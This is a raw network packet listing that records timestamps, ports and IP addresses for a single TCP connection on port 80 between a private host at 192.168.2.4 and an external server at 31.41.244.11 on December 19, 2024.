Dec 19, 2024 06:09:51.543713093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.543829918 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.544703007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.544755936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.544794083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.544853926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.545799971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.545846939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.545872927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.545941114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.546987057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.547030926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.547065973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.548032999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.548089027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.548114061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.548202038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.549148083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.549221039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.549249887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.549323082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.550216913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.550276041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.550347090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.550403118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.551340103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.551409006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.551441908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.551614046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.552505016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.552557945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.552587032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.552604914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.553574085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.553617001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.553663969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.553725004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.554639101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.554857016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.554887056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.554946899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.555814981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.556005955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.556019068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.556077957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.556835890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.557076931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.690973043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.691102028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.691171885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.691329002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.691530943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.691628933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.691759109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.692178965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.692667961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.693141937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.693159103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.693370104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.694212914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.694318056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.694379091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.695295095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.695353985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.695368052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.695458889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.696382046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.696444035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.696680069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.696755886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.697580099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.697596073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.697654963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.698632956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.698649883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.698692083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.698692083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.699696064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.699763060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.699801922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.699883938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.700839996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.700973034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.700997114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.701052904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.701930046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.702060938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.702096939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.702219963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.703000069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.703150988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.703181028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.703255892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.704144001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.704194069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.704212904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.704284906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.705287933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.705344915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.705352068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.705404997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.706342936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.706394911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.706433058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.706510067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.707407951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.707488060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.707526922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.707619905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.708579063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.708699942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.708736897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.708784103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.709698915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.709795952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.709800959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.709860086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.710763931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.710854053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.710891008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.710937023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.711904049 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.711972952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.712002039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.712058067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.712994099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.713088989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.713165045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.713217020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.714133024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.714189053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.714206934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.714257956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.715204954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.715220928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.715264082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.715264082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.716367960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.716409922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.716449022 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.716537952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.717451096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.717498064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.717509031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.717575073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.720237970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.720318079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.721390009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.721457958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.721693039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.721709967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.721754074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.722059965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.722076893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.722110033 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.722126007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.723107100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.723193884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.723237038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.723284960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.723468065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.723520994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.723534107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.723638058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.725774050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.725790977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.725851059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.725851059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.726706982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.726722956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.727849960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.727869987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.727905035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.727993965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.728626013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.728796959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.729681969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.729984999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.730000973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.730623007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.730854988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.730957985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.731008053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.731101990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.731952906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.732109070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.732213020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.733016968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.733032942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.733051062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.733067989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.733100891 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.733100891 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.733145952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.734105110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.734253883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.734438896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.735260010 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.735275984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.735327005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.735327005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.736300945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.736370087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.736568928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.737371922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.737488031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.737612963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.738518000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.738589048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.738612890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.738806963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.739675045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.739691973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.739752054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.739752054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.740783930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.740799904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.740932941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.741946936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.742024899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.742052078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.742069960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.742919922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.743077040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.743099928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.743204117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.744060040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.744111061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.744193077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.745110035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.745230913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.745279074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.745335102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.746315002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.746330023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.746382952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.746382952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.747363091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.747493982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.747582912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.748433113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.748519897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.748522997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.748557091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.883121967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.883208990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.883229971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.883275986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.883690119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.883757114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.883806944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.883806944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.884704113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.884756088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.884803057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.885314941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.885821104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.885976076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.886004925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.886107922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.887023926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.887100935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.887140989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.887140989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.888076067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.888185024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.888272047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.889187098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.889292955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.889359951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.890245914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.890314102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.890367031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.891269922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.891360998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.891593933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.891643047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.891705036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.892566919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.892584085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.892663002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.892705917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.893606901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.893726110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.893779039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.894752026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.894768953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.894840002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.895839930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.895889997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.895916939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.896209002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.896908045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.897005081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.897046089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.897355080 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.898036957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.898085117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.898123980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.899133921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.899329901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.899347067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.900213957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.900310040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.900374889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.900425911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.901366949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.901382923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.901441097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.901441097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.902550936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.902566910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.902616978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.902616978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.903626919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.903794050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.903841019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.904048920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.904736042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.904798985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.904803038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.904896021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.905797005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.905889034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.905971050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.906903982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.906972885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.906984091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.907108068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.908051014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.908124924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.908385038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.909178972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.909231901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.909240961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.909267902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.910329103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.910345078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.910396099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.911358118 CET	80	49860	31.41.244.11	192.168.2.4
